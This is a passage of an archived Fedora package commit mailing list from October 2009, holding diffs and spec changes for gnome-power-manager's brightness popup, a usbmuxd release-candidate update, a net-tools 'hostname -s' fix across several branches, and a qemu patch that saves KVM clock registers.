-index 7714bcc..5c2e453 100644
+index 7714bcc..8c6c236 100644
 --- a/src/gpm-backlight.c
 +++ b/src/gpm-backlight.c
 @@ -48,7 +48,7 @@
@@ -122,7 +123,7 @@ index 7714bcc..5c2e453 100644
  #include "gpm-dpms.h"
  #include "gpm-idle.h"
  #include "gpm-marshal.h"
-@@ -167,6 +167,88 @@ gpm_backlight_set_brightness (GpmBacklight *backlight, guint percentage, GError
+@@ -167,6 +167,91 @@ gpm_backlight_set_brightness (GpmBacklight *backlight, guint percentage, GError
  }
  
  /**
@@ -141,6 +142,9 @@ index 7714bcc..5c2e453 100644
 +
 +	if (backlight->priv->popup == NULL) {
 +		backlight->priv->popup= gsd_media_keys_window_new ();
++		gsd_media_keys_window_set_action (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup),
++						  GSD_MEDIA_KEYS_WINDOW_ACTION_BRIGHTNESS);
++		gtk_window_set_position (GTK_WINDOW (backlight->priv->popup), GTK_WIN_POS_NONE);
 +	}
 +}
 +
@@ -211,7 +215,7 @@ index 7714bcc..5c2e453 100644
   * gpm_common_sum_scale:
   *
   * Finds the average between value1 and value2 set on a scale factor
-@@ -261,8 +343,10 @@ gpm_backlight_brightness_evaluate_and_set (GpmBacklight *backlight, gboolean int
+@@ -261,8 +346,10 @@ gpm_backlight_brightness_evaluate_and_set (GpmBacklight *backlight, gboolean int
  
  	/* only show dialog if interactive */
  	if (interactive) {
@@ -224,7 +228,7 @@ index 7714bcc..5c2e453 100644
  	}
  
  	ret = gpm_brightness_set (backlight->priv->brightness, value, &hw_changed);
-@@ -352,8 +436,10 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
+@@ -352,8 +439,10 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
  		/* show the new value */
  		if (ret) {
  			gpm_brightness_get (backlight->priv->brightness, &percentage);
@@ -237,7 +241,7 @@ index 7714bcc..5c2e453 100644
  			/* save the new percentage */
  			backlight->priv->master_percentage = percentage;
  		}
-@@ -369,8 +455,10 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
+@@ -369,8 +458,10 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
  		/* show the new value */
  		if (ret) {
  			gpm_brightness_get (backlight->priv->brightness, &percentage);
@@ -250,7 +254,7 @@ index 7714bcc..5c2e453 100644
  			/* save the new percentage */
  			backlight->priv->master_percentage = percentage;
  		}
-@@ -688,10 +776,10 @@ gpm_backlight_init (GpmBacklight *backlight)
+@@ -688,10 +779,10 @@ gpm_backlight_init (GpmBacklight *backlight)
  	gpm_idle_set_timeout_dim (backlight->priv->idle, backlight->priv->idle_dim_timeout);
  
  	/* use a visual widget */


Index: gnome-power-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/gnome-power-manager.spec,v
retrieving revision 1.182
retrieving revision 1.183
diff -u -p -r1.182 -r1.183
--- gnome-power-manager.spec	28 Oct 2009 13:55:04 -0000	1.182
+++ gnome-power-manager.spec	29 Oct 2009 11:19:55 -0000	1.183
@@ -5,7 +5,7 @@
 Summary: GNOME power management service
 Name: gnome-power-manager
 Version: 2.28.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 #Release: 0.5.%{?alphatag}git%{?dist}
 License: GPLv2+ and GFDL
 Group: Applications/System
@@ -196,6 +196,9 @@ fi
 %{_datadir}/icons/hicolor/*/apps/gnome-inhibit-applet.*
 
 %changelog
+* Thu Oct 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-5
+- Fix OSD showing a volume label when switching compositing off
+
 * Wed Oct 28 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
 - Match gnome-settings-daemon's positioning for the OSD
 



From pbrobinson at fedoraproject.org  Thu Oct 29 11:23:18 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 11:23:18 +0000 (UTC)
Subject: rpms/usbmuxd/devel .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 usbmuxd.spec, 1.2, 1.3
Message-ID: <20091029112318.AFFCA11C008B@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/usbmuxd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19716

Modified Files:
	.cvsignore sources usbmuxd.spec 
Log Message:
 - New 1.0.0-rc1 test release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/usbmuxd/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	11 Aug 2009 07:48:20 -0000	1.2
+++ .cvsignore	29 Oct 2009 11:23:18 -0000	1.3
@@ -1 +1 @@
-usbmuxd-0.1.4.tar.gz
+usbmuxd-1.0.0-rc1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/usbmuxd/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Aug 2009 07:48:20 -0000	1.2
+++ sources	29 Oct 2009 11:23:18 -0000	1.3
@@ -1 +1 @@
-bc57116f092a922653ba472177f082f0  usbmuxd-0.1.4.tar.gz
+fd5b8a4a368776ab4cc96d0805eca757  usbmuxd-1.0.0-rc1.tar.bz2


Index: usbmuxd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/usbmuxd/devel/usbmuxd.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- usbmuxd.spec	14 Aug 2009 15:36:06 -0000	1.2
+++ usbmuxd.spec	29 Oct 2009 11:23:18 -0000	1.3
@@ -1,18 +1,20 @@
 Name:		usbmuxd
-Version:	0.1.4
-Release:	2%{?dist}
+Version:	1.0.0
+Release:	0.1.rc1%{?dist}
 Summary:	Daemon for communicating with Apple's iPod Touch and iPhone
 
 Group:		Applications/System
-License:	GPLv2+ and LGPLv2+
+# All code is dual licenses as GPLv3+ or GPLv2+, except libusbmuxd which is LGPLv2+.
+License:	GPLv3+ or GPLv2+ and LGPLv2+
 URL:		http://cgit.pims.selfip.net/usbmuxd/
-Source0:	http://cgit.pims.selfip.net/%{name}/snapshot/%{name}-%{version}.tar.gz
+#Source0:	http://cgit.pims.selfip.net/%{name}/snapshot/%{name}-%{version}.tar.gz
+Source0:	%{name}-1.0.0-rc1.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	libusb-devel
-BuildRequires:	automake autoconf libtool
+BuildRequires:	libusb1-devel
+BuildRequires:	cmake
 
-Patch0:		0002-Port-udev-rules-to-newer-kernels.patch
+#Patch0:		0002-Port-udev-rules-to-newer-kernels.patch
 
 %description
 usbmuxd is a daemon used for communicating with Apple's iPod Touch and iPhone
@@ -29,21 +31,25 @@ Requires: pkgconfig
 Files for development with %{name}.
 
 %prep
-%setup -q
-%patch0 -p1 -b .new-kernel
+%setup -q -n %{name}-1.0.0-rc1
 
 %build
-%configure --enable-static=no
+export CMAKE_PREFIX_PATH=/usr
+%{cmake} .
+
 make %{?_smp_mflags}
 
 %install
+export CMAKE_PREFIX_PATH=/usr$RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
-rm -f $RPM_BUILD_ROOT/%{_libdir}/*.{a,la}
+
+# Move libs to correct dir
+mv $RPM_BUILD_ROOT/usr/lib/libusbmuxd.* $RPM_BUILD_ROOT%{_libdir}
 
 # Install udev rules in the correct location
-rm -rf $RPM_BUILD_ROOT/%{_sysconfdir}/udev/rules.d/
-install -D -p -m0644 udev/85-usbmuxd.rules $RPM_BUILD_ROOT/lib/udev/rules.d/85-usbmuxd.rules
+#rm -rf $RPM_BUILD_ROOT/%{_sysconfdir}/udev/rules.d/
+#install -D -p -m0644 udev/85-usbmuxd.rules $RPM_BUILD_ROOT/lib/udev/rules.d/85-usbmuxd.rules
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -54,11 +60,11 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS README COPYING
+%doc AUTHORS README COPYING.GPLv2 COPYING.GPLv3 COPYING.LGPLv2.1 README.devel
 /lib/udev/rules.d/85-usbmuxd.rules
 %{_bindir}/iproxy
-%{_libdir}/libusbmuxd.so.*
 %{_sbindir}/usbmuxd
+%{_libdir}/libusbmuxd.so.*
 
 %files devel
 %defattr(-,root,root,-)
@@ -68,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libusbmuxd.pc
 
 %changelog
+* Tue Oct 27 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.0-0.1.rc1
+- New 1.0.0-rc1 test release
+
 * Fri Aug 14 2009 Bastien Nocera <bnocera at redhat.com> 0.1.4-2
 - Make usbmuxd autostart on newer kernels
 - (Still doesn't exit properly though)



From jpopelka at fedoraproject.org  Thu Oct 29 11:26:54 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Thu, 29 Oct 2009 11:26:54 +0000 (UTC)
Subject: rpms/net-tools/devel net-tools-1.60-hostname-short.patch, NONE,
	1.1 net-tools-1.60-hostname_man.patch, 1.2,
	1.3 net-tools-1.60-man-RHEL-bugs.patch, 1.1, 1.2 net-tools.spec,
	1.102, 1.103
Message-ID: <20091029112654.C92A811C008B@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/net-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20734

Modified Files:
	net-tools-1.60-hostname_man.patch 
	net-tools-1.60-man-RHEL-bugs.patch net-tools.spec 
Added Files:
	net-tools-1.60-hostname-short.patch 
Log Message:
* Thu Oct 29 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-97
- Make "hostname -s" display host name cut at the first dot (no
  matter if the host name resolves or not) (bug #531702)


net-tools-1.60-hostname-short.patch:
 hostname.c |   14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

--- NEW FILE net-tools-1.60-hostname-short.patch ---
diff -up net-tools-1.60/hostname.c.hostname-short net-tools-1.60/hostname.c
--- net-tools-1.60/hostname.c.hostname-short	2009-09-30 17:44:21.000000000 +0200
+++ net-tools-1.60/hostname.c	2009-09-08 11:55:03.000000000 +0200
@@ -176,11 +176,6 @@ static void showhname(char *hname, int c
     case 'f':
 	printf("%s\n", hp->h_name);
 	break;
-    case 's':
-	if (p != NULL)
-	    *p = '\0';
-	printf("%s\n", hp->h_name);
-	break;
     default:
     ;
     }
@@ -270,6 +265,7 @@ int main(int argc, char **argv)
     char myname[MAXHOSTNAMELEN + 1] =
     {0};
     char *file = NULL;
+    char *p;
 
     static const struct option long_options[] =
     {
@@ -370,7 +366,13 @@ int main(int argc, char **argv)
 	if (!type)
 	    printf("%s\n", myname);
 	else
-	    showhname(myname, type);
+		if (type == 's') {
+			if (p = strchr(myname, '.'))
+				*p = '\0';
+			printf("%s\n", myname);
+		}
+		else
+			showhname(myname, type);
 	break;
     case 3:
 	if (file) {

net-tools-1.60-hostname_man.patch:
 hostname.1 |   27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

Index: net-tools-1.60-hostname_man.patch
===================================================================
RCS file: /cvs/pkgs/rpms/net-tools/devel/net-tools-1.60-hostname_man.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- net-tools-1.60-hostname_man.patch	2 Jan 2006 10:00:42 -0000	1.2
+++ net-tools-1.60-hostname_man.patch	29 Oct 2009 11:26:54 -0000	1.3
@@ -1,14 +1,14 @@
 --- net-tools-1.60/man/en_US/hostname.1.gethostbyname	2005-10-14 11:33:41.000000000 +0200
 +++ net-tools-1.60/man/en_US/hostname.1	2005-10-15 11:46:14.646697600 +0200
-@@ -99,6 +99,32 @@
+@@ -99,6 +99,33 @@
  complete FQDN of the system is returned with
  .BR "hostname \-\-fqdn" .
  
 +.LP
 +The function 
 +.BR gethostname(2)
-+is used to get the hostname.  Only when the 
-+.BR "hostname \-s" 
++is used to get the hostname.  When the 
++.BR "hostname \-a, \-d, \-f or \-i" 
 +is called will 
 +.BR gethostbyname(3)
 +be called.  The difference in 
@@ -25,7 +25,8 @@
 +.IR /etc/sysconfig/network
 +or
 +.IR /etc/hosts
-+. To add another dimension to this,
++
++To add another dimension to this,
 +the 
 +.B hostname 
 +is also set when the network interface is brought up.

net-tools-1.60-man-RHEL-bugs.patch:
 arp.8 |    8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

Index: net-tools-1.60-man-RHEL-bugs.patch
===================================================================
RCS file: /cvs/pkgs/rpms/net-tools/devel/net-tools-1.60-man-RHEL-bugs.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- net-tools-1.60-man-RHEL-bugs.patch	30 Sep 2009 13:23:57 -0000	1.1
+++ net-tools-1.60-man-RHEL-bugs.patch	29 Oct 2009 11:26:54 -0000	1.2
@@ -16,38 +16,3 @@ diff -up net-tools-1.60/man/de_DE/arp.8.
  .br
  .B ANMERKUNG:
  Ab der Kernelversion 2.2.0 ist es nicht mehr m\(:oglich ARP-Eintr\(:age f\(:ur
-diff -up net-tools-1.60/man/en_US/hostname.1.man-RHEL-bugs net-tools-1.60/man/en_US/hostname.1
---- net-tools-1.60/man/en_US/hostname.1.man-RHEL-bugs	2009-09-09 15:52:27.000000000 +0200
-+++ net-tools-1.60/man/en_US/hostname.1	2009-09-09 15:52:27.000000000 +0200
-@@ -100,11 +100,11 @@ complete FQDN of the system is returned 
- .LP
- The function 
- .BR gethostname(2)
--is used to get the hostname.  Only when the 
--.BR "hostname \-s" 
--is called will 
--.BR gethostbyname(3)
--be called.  The difference in 
-+is used to get the hostname.
-+When \fBhostname\fR
-+is called with \fB-s\fR, \fB-a\fR, \fB-i\fR, \fB-f\fR or \fB-d\fR
-+the \fBgethostbyname(3)\fR will be called.
-+The difference in 
- .BR gethostname(2)
- and
- .BR gethostbyname(3)
-@@ -117,11 +117,9 @@ and
- to decide whether to read information in
- .IR /etc/sysconfig/network
- or
--.IR /etc/hosts
--. To add another dimension to this,
--the 
--.B hostname 
--is also set when the network interface is brought up.
-+.IR /etc/hosts .
-+If \fBgethostbyname(3)\fR cannot resolve host name,
-+\fIUnknown host\fR warning is returned.
- 
- .SS "SET NAME"
- When called with one argument or with the 


Index: net-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/net-tools/devel/net-tools.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- net-tools.spec	30 Sep 2009 13:23:57 -0000	1.102
+++ net-tools.spec	29 Oct 2009 11:26:54 -0000	1.103
@@ -1,7 +1,7 @@
 Summary: Basic networking tools
 Name: net-tools
 Version: 1.60
-Release: 96%{?dist}
+Release: 97%{?dist}
 License: GPL+
 Group: System Environment/Base
 URL: http://net-tools.berlios.de/
@@ -97,7 +97,6 @@ Patch76: net-tools-1.60-ib-warning.patch
 # notes in man pages, saying that these tools are obsolete
 Patch77: net-tools-1.60-man-obsolete.patch
 
-# Bug 319981  hostname -s gives hostname: Unknown host when the FQDN does not resolve
 # Bug 322901  Sens negating error in man page translation (arp)
 Patch78: net-tools-1.60-man-RHEL-bugs.patch
 
@@ -112,6 +111,9 @@ Patch80: net-tools-1.60-makefile-berlios
 # slattach: use fchown() rather than chown() to avoid race between creation and permission changing
 Patch81: net-tools-1.60-slattach-fchown.patch
 
+# Bug 531702: make "hostname -s" display host name cut at the first dot (no matter if the host name resolves or not)
+Patch82: net-tools-1.60-hostname-short.patch
+
 BuildRequires: gettext, libselinux
 BuildRequires: libselinux-devel
 
@@ -196,6 +198,7 @@ Most of them are obsolete. For replaceme
 %patch79 -p1 -b .masqinfo-raw-ip
 %patch80 -p1 -b .makefile-berlios
 %patch81 -p1 -b .slattach-fchown
+%patch82 -p1 -b .hostname-short
 
 cp %SOURCE1 ./config.h
 cp %SOURCE2 ./config.make
@@ -283,6 +286,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/ethers
 
 %changelog
+* Thu Oct 29 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-97
+- Make "hostname -s" display host name cut at the first dot (no
+  matter if the host name resolves or not) (bug #531702)
 
 * Tue Sep 30 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-96
 - netplug moved to separate package



From markmc at fedoraproject.org  Thu Oct 29 11:28:06 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 11:28:06 +0000 (UTC)
Subject: rpms/qemu/devel qemu-properly-save-kvm-system-time-registers.patch, 
	NONE, 1.1 qemu.spec, 1.144, 1.145
Message-ID: <20091029112806.46B2511C008B@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21474

Modified Files:
	qemu.spec 
Added Files:
	qemu-properly-save-kvm-system-time-registers.patch 
Log Message:
* Wed Oct 21 2009 Glauber Costa <gcosta at redhat.com> - 2:0.11.0-8
- Properly save kvm time registers (#524229)


qemu-properly-save-kvm-system-time-registers.patch:
 qemu-kvm-x86.c        |   15 +++++++++++++--
 target-i386/cpu.h     |    5 ++++-
 target-i386/machine.c |    9 ++++++++-
 3 files changed, 25 insertions(+), 4 deletions(-)

--- NEW FILE qemu-properly-save-kvm-system-time-registers.patch ---
>From 20a3c3095744ea65b4dfb5365efea8cdb802f7f5 Mon Sep 17 00:00:00 2001
From: Glauber Costa <glommer at redhat.com>
Date: Wed, 21 Oct 2009 10:52:46 -0400
Subject: [PATCH] properly save kvm system time msr registers

Currently, the msrs involved in setting up pvclock are not saved over
migration and/or save/restore. This patch puts their value in special
fields in our CPUState, and deal with them using vmstate.

kvm also has to account for it, by including them in the msr list
for the ioctls.

Fedora-patch: qemu-properly-save-kvm-system-time-registers.patch
Signed-off-by: Glauber Costa <glommer at redhat.com>
---
 qemu-kvm-x86.c        |   15 +++++++++++++--
 target-i386/cpu.h     |    5 ++++-
 target-i386/machine.c |    8 ++++++++
 3 files changed, 25 insertions(+), 3 deletions(-)

diff --git a/qemu-kvm-x86.c b/qemu-kvm-x86.c
index d5436b6..300e6c2 100644
--- a/qemu-kvm-x86.c
+++ b/qemu-kvm-x86.c
@@ -839,6 +839,12 @@ static int get_msr_entry(struct kvm_msr_entry *entry, CPUState *env)
         case MSR_VM_HSAVE_PA:
             env->vm_hsave     = entry->data;
             break;
+        case MSR_KVM_SYSTEM_TIME:
+            env->system_time_msr = entry->data;
+            break;
+        case MSR_KVM_WALL_CLOCK:
+            env->wall_clock_msr = entry->data;
+            break;
         default:
             printf("Warning unknown msr index 0x%x\n", entry->index);
             return 1;
@@ -847,9 +853,9 @@ static int get_msr_entry(struct kvm_msr_entry *entry, CPUState *env)
 }
 
 #ifdef TARGET_X86_64
-#define MSR_COUNT 10
+#define MSR_COUNT 12
 #else
-#define MSR_COUNT 6
+#define MSR_COUNT 8
 #endif
 
 static void set_v8086_seg(struct kvm_segment *lhs, const SegmentCache *rhs)
@@ -1007,6 +1013,8 @@ void kvm_arch_load_regs(CPUState *env)
         set_msr_entry(&msrs[n++], MSR_LSTAR  ,           env->lstar);
     }
 #endif
+    set_msr_entry(&msrs[n++], MSR_KVM_SYSTEM_TIME,  env->system_time_msr);
+    set_msr_entry(&msrs[n++], MSR_KVM_WALL_CLOCK,  env->wall_clock_msr);
 
     rc = kvm_set_msrs(env->kvm_cpu_state.vcpu_ctx, msrs, n);
     if (rc == -1)
@@ -1184,6 +1192,9 @@ void kvm_arch_save_regs(CPUState *env)
         msrs[n++].index = MSR_LSTAR;
     }
 #endif
+    msrs[n++].index = MSR_KVM_SYSTEM_TIME;
+    msrs[n++].index = MSR_KVM_WALL_CLOCK;
+
     rc = kvm_get_msrs(env->kvm_cpu_state.vcpu_ctx, msrs, n);
     if (rc == -1) {
         perror("kvm_get_msrs FAILED");
diff --git a/target-i386/cpu.h b/target-i386/cpu.h
index 08200ed..22e76ec 100644
--- a/target-i386/cpu.h
+++ b/target-i386/cpu.h
@@ -640,6 +640,9 @@ typedef struct CPUX86State {
     target_ulong fmask;
     target_ulong kernelgsbase;
 #endif
+    uint64_t system_time_msr;
+    uint64_t wall_clock_msr;
+
 
     uint64_t tsc;
 
@@ -867,7 +870,7 @@ static inline int cpu_get_time_fast(void)
 #define cpu_signal_handler cpu_x86_signal_handler
 #define cpu_list x86_cpu_list
 
-#define CPU_SAVE_VERSION 10
+#define CPU_SAVE_VERSION 11
 
 /* MMU modes definitions */
 #define MMU_MODE0_SUFFIX _kernel
diff --git a/target-i386/machine.c b/target-i386/machine.c
index ca32a92..4654508 100644
--- a/target-i386/machine.c
+++ b/target-i386/machine.c
@@ -174,6 +174,9 @@ void cpu_save(QEMUFile *f, void *opaque)
             qemu_put_be64s(f, &env->mce_banks[4*i + 3]);
         }
     }
+
+    qemu_put_be64s(f, &env->system_time_msr);
+    qemu_put_be64s(f, &env->wall_clock_msr);
  }
 
 #ifdef USE_X86LDOUBLE
@@ -405,5 +408,10 @@ int cpu_load(QEMUFile *f, void *opaque, int version_id)
             kvm_arch_load_mpstate(env);
         }
     }
+
+    if (version_id >= 11) {
+        qemu_get_be64s(f, &env->system_time_msr);
+        qemu_get_be64s(f, &env->wall_clock_msr);
+    }
     return 0;
 }
-- 
1.6.2.2



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- qemu.spec	19 Oct 2009 10:33:27 -0000	1.144
+++ qemu.spec	29 Oct 2009 11:28:04 -0000	1.145
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 7%{?dist}
+Release: 8%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -52,6 +52,9 @@ Patch09: qemu-fix-qcow2-backing-file-wit
 # Fix potential segfault from too small MSR_COUNT (#528901)
 Patch10: qemu-fix-msr-count-potential-segfault.patch
 
+# Properly save kvm time registers (#524229)
+Patch11: qemu-properly-save-kvm-system-time-registers.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -249,6 +252,7 @@ such as kvmtrace and kvm_stat.
 %patch08 -p1
 %patch09 -p1
 %patch10 -p1
+%patch11 -p1
 
 %build
 # --build-id option is used fedora 8 onwards for giving info to the debug packages.
@@ -530,6 +534,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Wed Oct 21 2009 Glauber Costa <gcosta at redhat.com> - 2:0.11.0-8
+- Properly save kvm time registers (#524229)
+
 * Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-7
 - Fix potential segfault from too small MSR_COUNT (#528901)
 



From jpopelka at fedoraproject.org  Thu Oct 29 11:28:17 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Thu, 29 Oct 2009 11:28:17 +0000 (UTC)
Subject: rpms/net-tools/F-12 net-tools-1.60-hostname-short.patch, NONE,
	1.1 net-tools-1.60-hostname_man.patch, 1.2, 1.3 net-tools.spec,
	1.101, 1.102
Message-ID: <20091029112817.A3CF711C008B@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/net-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21668

Modified Files:
	net-tools-1.60-hostname_man.patch net-tools.spec 
Added Files:
	net-tools-1.60-hostname-short.patch 
Log Message:
* Thu Oct 29 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-96
- Make "hostname -s" display host name cut at the first dot (no
  matter if the host name resolves or not) (bug #531702)


net-tools-1.60-hostname-short.patch:
 hostname.c |   14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

--- NEW FILE net-tools-1.60-hostname-short.patch ---
diff -up net-tools-1.60/hostname.c.hostname-short net-tools-1.60/hostname.c
--- net-tools-1.60/hostname.c.hostname-short	2009-09-30 17:44:21.000000000 +0200
+++ net-tools-1.60/hostname.c	2009-09-08 11:55:03.000000000 +0200
@@ -176,11 +176,6 @@ static void showhname(char *hname, int c
     case 'f':
 	printf("%s\n", hp->h_name);
 	break;
-    case 's':
-	if (p != NULL)
-	    *p = '\0';
-	printf("%s\n", hp->h_name);
-	break;
     default:
     ;
     }
@@ -270,6 +265,7 @@ int main(int argc, char **argv)
     char myname[MAXHOSTNAMELEN + 1] =
     {0};
     char *file = NULL;
+    char *p;
 
     static const struct option long_options[] =
     {
@@ -370,7 +366,13 @@ int main(int argc, char **argv)
 	if (!type)
 	    printf("%s\n", myname);
 	else
-	    showhname(myname, type);
+		if (type == 's') {
+			if (p = strchr(myname, '.'))
+				*p = '\0';
+			printf("%s\n", myname);
+		}
+		else
+			showhname(myname, type);
 	break;
     case 3:
 	if (file) {

net-tools-1.60-hostname_man.patch:
 hostname.1 |   27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

Index: net-tools-1.60-hostname_man.patch
===================================================================
RCS file: /cvs/pkgs/rpms/net-tools/F-12/net-tools-1.60-hostname_man.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- net-tools-1.60-hostname_man.patch	2 Jan 2006 10:00:42 -0000	1.2
+++ net-tools-1.60-hostname_man.patch	29 Oct 2009 11:28:17 -0000	1.3
@@ -1,14 +1,14 @@
 --- net-tools-1.60/man/en_US/hostname.1.gethostbyname	2005-10-14 11:33:41.000000000 +0200
 +++ net-tools-1.60/man/en_US/hostname.1	2005-10-15 11:46:14.646697600 +0200
-@@ -99,6 +99,32 @@
+@@ -99,6 +99,33 @@
  complete FQDN of the system is returned with
  .BR "hostname \-\-fqdn" .
  
 +.LP
 +The function 
 +.BR gethostname(2)
-+is used to get the hostname.  Only when the 
-+.BR "hostname \-s" 
++is used to get the hostname.  When the 
++.BR "hostname \-a, \-d, \-f or \-i" 
 +is called will 
 +.BR gethostbyname(3)
 +be called.  The difference in 
@@ -25,7 +25,8 @@
 +.IR /etc/sysconfig/network
 +or
 +.IR /etc/hosts
-+. To add another dimension to this,
++
++To add another dimension to this,
 +the 
 +.B hostname 
 +is also set when the network interface is brought up.


Index: net-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/net-tools/F-12/net-tools.spec,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- net-tools.spec	1 Sep 2009 13:18:22 -0000	1.101
+++ net-tools.spec	29 Oct 2009 11:28:17 -0000	1.102
@@ -3,7 +3,7 @@
 Summary: Basic networking tools
 Name: net-tools
 Version: 1.60
-Release: 95%{?dist}
+Release: 96%{?dist}
 License: GPL+
 Group: System Environment/Base
 URL: http://net-tools.berlios.de/
@@ -103,6 +103,9 @@ Patch76: net-tools-1.60-ib-warning.patch
 # notes in man pages, saying that these tools are obsolete
 Patch77: net-tools-1.60-man-obsolete.patch
 
+# Bug 531702: make "hostname -s" display host name cut at the first dot (no matter if the host name resolves or not)
+Patch78: net-tools-1.60-hostname-short.patch
+
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
 Requires(preun): /sbin/service
@@ -190,6 +193,7 @@ Most of them are obsolete. For replaceme
 %patch75 -p1 -b .debug-fix
 %patch76 -p1 -b .ib-warning
 %patch77 -p1 -b .man-obsolete
+%patch78 -p1 -b .hostname-short
 
 cp %SOURCE2 ./config.h
 cp %SOURCE3 ./config.make
@@ -311,6 +315,10 @@ exit 0
 %{_sysconfdir}/rc.d/init.d/netplugd
 
 %changelog
+* Thu Oct 29 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-96
+- Make "hostname -s" display host name cut at the first dot (no
+  matter if the host name resolves or not) (bug #531702)
+
 * Tue Sep 1 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-95
 - netstat - avoid name resolution for listening or established sockets (-l) by return fast. 
 - netstat - --continuous should flush stdout



From jpopelka at fedoraproject.org  Thu Oct 29 11:29:42 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Thu, 29 Oct 2009 11:29:42 +0000 (UTC)
Subject: rpms/net-tools/F-11 net-tools-1.60-hostname-short.patch, NONE,
	1.1 net-tools-1.60-hostname_man.patch, 1.2, 1.3 net-tools.spec,
	1.99, 1.100
Message-ID: <20091029112942.9DB6E11C008B@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/net-tools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22407

Modified Files:
	net-tools-1.60-hostname_man.patch net-tools.spec 
Added Files:
	net-tools-1.60-hostname-short.patch 
Log Message:
* Thu Oct 29 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-94
- Make "hostname -s" display host name cut at the first dot (no
  matter if the host name resolves or not) (bug #531702)


net-tools-1.60-hostname-short.patch:
 hostname.c |   14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

--- NEW FILE net-tools-1.60-hostname-short.patch ---
diff -up net-tools-1.60/hostname.c.hostname-short net-tools-1.60/hostname.c
--- net-tools-1.60/hostname.c.hostname-short	2009-09-30 17:44:21.000000000 +0200
